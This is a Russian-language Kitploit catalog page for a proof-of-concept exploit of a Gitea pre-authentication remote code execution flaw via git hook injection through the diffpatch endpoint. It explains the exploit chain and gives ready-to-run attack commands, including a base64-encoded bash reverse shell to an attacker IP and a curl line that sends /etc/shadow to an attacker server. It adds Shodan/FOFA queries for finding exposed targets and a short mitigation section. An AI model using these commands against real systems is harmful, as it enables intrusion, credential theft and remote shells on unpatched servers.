Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-60004-POC — CVE-2026-60004 Эксплойт RCE до аутентификации — Gitea <= 1.27.0 инъекция git hook через diffpatch (CVSS 9.8) | Kitploit
Инструменты/GitHubGitHub/imbas007/cve-2026-60004-poc
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubimbas007/cve-2026-60004-poc

CVE-2026-60004-POC

CVE-2026-60004 Эксплойт RCE до аутентификации — Gitea <= 1.27.0 инъекция git hook через diffpatch (CVSS 9.8)

Репозиторий
114292 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-60004 — Удалённое выполнение кода в Gitea до аутентификации (CVSS 9.8)

┌──────────────────────────────────────────────────────────────┐
│  CVE-2026-60004  │  Gitea Pre-Auth RCE  │  CVSS 9.8 (CRIT)   │
│  diffpatch → git hook injection  │  v1.17–1.27.0 affected    │
└──────────────────────────────────────────────────────────────┘

📋 Обзор

АтрибутОписание
CVE IDCVE-2026-60004
Оценка CVSS9.8 (критическая)
CWECWE-94 (инъекция кода)
Затронутые версииGitea 1.17 – 1.27.0
Исправлено вGitea 1.27.1 (выпущена 27 июля 2026 г.)
Уязвимая конечная точкаPOST /api/v1/repos/{owner}/{repo}/diffpatch
ОбнаружилShai Rod (NightRang3r)
Оценка EPSS0.95 (95% вероятность эксплуатации)

🔬 Детали уязвимости

Уязвимость связана с тем, как конечная точка API diffpatch в Gitea обрабатывает предоставленные пользователем Git-патчи:

  1. Ловушка bare-клонирования — конечная точка создаёт временный bare-клон (без рабочего дерева), то есть его корневой каталог является $GIT_DIR.

  2. Обработка патча — git apply вызывается с флагами: --index, --recount, --cached, --binary и (при Git ≥ 2.32) -3 для отката к трёхстороннему слиянию.

  3. Коллизия Add/Add — отправляя один и тот же вредоносный патч дважды, атакующий вызывает конфликт add/add. Откат Git к трёхстороннему слиянию записывает путь файла из патча на диск — в обход ограничения --cached.

  4. Внедрение хука — атакующий формирует патч так, чтобы путь файла был hooks/post-index-change. Поскольку клон является bare, файл попадает непосредственно в каталог хуков Git.

  5. Выполнение кода — когда Git обновляет индекс, он автоматически выполняет хук post-index-change, запуская shell-команды атакующего от имени служебной учётной записи Gitea.

Схема цепочки эксплуатации

Attacker                              Gitea Server
   │                                      │
   ├─ POST /user/sign_up ────────────────►│  Register new user
   │                                      │
   ├─ POST /api/v1/user/repos ───────────►│  Create private repo (auto-init)
   │                                      │
   ├─ GET /api/v1/repos/.../branches ────►│  Get commit SHA
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  1st patch: plant hook
   │                                      │  Git creates bare clone
   │                                      │  Applies patch (--cached)
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  2nd patch: SAME PATCH
   │   (same exact patch!)                │  ADD/ADD COLLISION!
   │                                      │  Git -3 fallback writes to disk
   │                                      │  hooks/post-index-change created
   │                                      │  Git fires post-index-change hook!
   │                                      │  ┌─ Command executes ─┐
   │                                      │  │ reads /etc/passwd  │
   │                                      │  │ stores in git blob │
   │                                      │  │ creates rce-proof  │
   │                                      │  │ branch             │
   │                                      │  └────────────────────┘
   │                                      │
   ├─ GET /api/v1/repos/.../raw/proof ───►│  Retrieve output
   │◄─────────────────────────────────────┤  /etc/passwd contents
   │                                      │

🚀 Быстрый старт

PoC на Python (cve-2026-60004-poc.py)

# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required

# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"

# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto

# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
    --user myuser --pw 'MyPass123!'

# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
    --user myuser --pw 'MyPass123!' --repo existing-repo

# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
image

Пользовательские команды

# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "whoami; id; env"

# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "echo $PAYLOAD | base64 -d | bash"

# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"

Шаблон Nuclei

# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000

# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt

# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v

🛡️ Меры защиты

Немедленные действия

  1. Обновите Gitea до версии 1.27.1 или новее:

    # Docker
    docker pull gitea/gitea:1.27.1
    # Binary
    wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
    
  2. Отключите открытую регистрацию (снижает поверхность атаки):

    # app.ini
    [service]
    DISABLE_REGISTRATION = true
    
  3. Запускайте Gitea со служебной учётной записью с минимальными привилегиями

  4. Отслеживайте повторяющиеся POST-запросы к конечной точке diffpatch

Поисковые запросы для обнаружения

# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log

# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log

🔍 Поисковые запросы Shodan / FOFA

# Shodan
http.title:"Gitea"
http.favicon.hash:5247710

# FOFA
app="Gitea"
title="Gitea"

# Censys
services.software.product:"Gitea"

📚 Ссылки

  • Консультация по безопасности GitHub (GHSA-rcr6-4jqh-j84m)
  • Репозиторий PoC EQSTLab
  • Запись в NVD
  • Шаблон Nuclei от ProjectDiscovery
  • Примечания к выпуску Gitea 1.27.1

⚠️ Отказ от ответственности

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Используйте его только в отношении систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам является незаконным и может нарушать:

  • Закон о компьютерном мошенничестве и злоупотреблениях (CFAA) — США
  • Закон о неправомерном использовании компьютеров 1990 года — Великобритания
  • Аналогичные законы в других юрисдикциях

Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим инструментом.

📄 Лицензия

Лицензия MIT — подробности см. в репозитории EQSTLab.

Скачать инструмент